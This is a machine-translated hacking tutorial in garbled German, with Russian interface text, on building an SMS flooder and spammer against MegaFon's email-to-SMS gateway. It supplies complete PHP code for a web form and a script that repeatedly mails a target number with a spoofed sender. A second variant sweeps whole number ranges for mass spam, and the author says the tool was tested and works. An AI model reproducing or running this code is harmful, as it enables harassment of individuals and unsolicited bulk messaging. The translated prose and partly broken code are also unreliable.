This page has been robot translated, sorry for typos if any. Original content here.

Schreiben Sms Fluder oder Spammers (mail2sms)

mail2sms
Finding oder nicht-Geschäft oder nicht-Business-Links-Skripte entschieden Fluder zu rollen. Das Opfer war das russische MegaFon .Vozmom es als Beispiel.

Flut

Zunächst werden wir verstehen, was Fluder. Fluder In meinem Verständnis - ein Programm oder Skript, das (ersten) einem bestimmten Empfänger einige Informationen in einer Reihe von schicken (oft - in einem sehr großen).

Und so müssen wir eine solche flooder schreiben? Fast nichts:
  • Hosting mit PHP-Unterstützung
  • Kord + geraden Arm
  • Fähigkeit juzat Google
Für Hochwasser werden wir SMS-Gateway für den Operator.
SMS-Gateway - eine Schnittstelle , die Sie Nachrichten SMS ermöglicht das Senden und Empfangen ohne ein Mobiltelefon. SMS-Nachrichten werden in E-Mail, HTTP-Anfragen umgewandelt und umgekehrt. Nachricht durch ein solches Gateway gesendet werden , können an den Absender kostenlos sein; aber es kann technische Einschränkungen sein, wie die Anzahl der ograchinenie Nachrichten von einem Computer pro Tag senden.

Wie aus dem obigen fortgeschrittenen Programmierer klar ist , ist nichts Neues für sich nicht erkennen.
So haben Sie mit allem, was gewählt Hosting aussortiert ...
Erstellen Sie eine Seite index.php die folgenden Zeilen:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Wie aus dem Code klar ist, wird es eine Seite mit einem Formular sein gesendet werden sollte, zu unserem Skript verweisen, die sms.php aufgerufen wird:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Ich fange an, den Code zu verstehen.
Zu Beginn des Skripts weisen wir Variablen.
$ Aus - jede Mailbox , von denen Nachrichten gehen.
$ An - Ziel, das ist das, was wir Boom Flut. Der Wert der Variablen wird aus der Form und index.php slazhivaetsya genommen mit @ sms.mgsm.ru. Was ist das @ sms.mgsm.ru? Der SMS-Gateway-Betreiber MEGFON.
$ Msg - eine Variable, die den Text enthält , gesendet werden.
Des Weiteren gibt es einen Zyklus, dessen Aufgabe es ist, die erforderliche Anzahl von Verbindungen Schlaf zu unterbrechen zu senden.
Mail-Funktion ist nur verantwortlich für pereslku Mail-Gateway.

Jetzt für die Schlaf - Funktion. Warum ist es notwendig?
Wenn wir es nicht einschreiben, wird der Server nicht auf die gewünschte Anzahl von SMS reagieren und sie auf die Anzahl von 1-2 Stück senden. Hier wird, um Zeit zu haben, um den Server und müssen diese Funktion zu reagieren. In Klammern ist die Anzahl der Sekunden Verzögerung geschrieben. Diese figure're indem sie versuchen, verschiedene varintov bekommen. Sein Wert kann auf der Last des Gateways und die Geschwindigkeit Ihres Internet ab. Also, was ist Experiment. Das Skript wurde mit dem Parameter 7 getestet.

Wir überprüfen das Skript. Wir gehen auf unser Formular, geben Sie die erforderlichen Daten ein und wir drücken Sie die Taste ...
Nun ist es eine Überlegung wert , dass das Skript sofort ausgeführt wird, aber nach und nach, für eine Pause warten , nachdem Sie diesen SMS - Dienst der Nachrichten jeweils ausgesetzt.

Spam

Was ist Spam? Ich verstehe, wie Spam-Massenversand einige Informationen zu den verschiedenen Leuten für verschiedene Zwecke. Was wir brauchen, für die Organisation von Spam
  • alles, was für flooder aufgeführt wurde
Brauchen Sie ein wenig die Form Dieser SMS-Dienst zu ändern. Hier ist nur ein Fragment:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
Und der leicht modifizierten Code sms.php:

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
Ich denke , hier ist alles klar. Wir bewegen sich von einer bestimmten Bereich Zahlen und beziehen sich auf sich SMS in einem bestimmten Intervall. Bei diesem Verfahren:
[+] Funktioniert ohne Datenbank. auf dem Gesicht von Spar- und Verkehr
[+] Im Gegensatz zur Basis - gibt es auch im Netz einige Neulinge, die in den Datenbanken (kostenlose und kostenpflichtige) noch
[-] nicht alle gesendeten SMS wird nach oben aus dem Grunde, dass diese Zahlen nicht sein können. Aber es ist möglich, solche Bereiche zu wählen, dass das war die maximale Wahrscheinlichkeit von SMS zu liefern.

Was abschließend zu sagen ...
Dieses Material wird rufen Sie nicht zum Handeln und hat eine Einarbeitungs Charakter. Autor des Artikels I, und copy-paste den Link hier obligatorisch ist.
Mit ein wenig Bereitschaft und die Fähigkeit, die richtige Skript zu einem Spammer modifiziert oder passt sich an einem anderen Betreiber, mit SMS-Gateways shlyuzom.Vot arbeiten uns zu finden und hatte die Fähigkeit zu Google. Für die Faulen - eine große Liste von Gateways . Aber es ist vielleicht der nächste Artikel sein.

PS Überschwemmungen vor kurzem proverlsya. Alles funktioniert gut. Wenn nicht funktioniert, dann gibt es mehrere Optionen. One - Hand Kurven. Zweitens - Ihr Host keine Mail - Funktion halten. Der dritte - der Betreiber hat das Gateway geändert oder Gateway ist überlastet.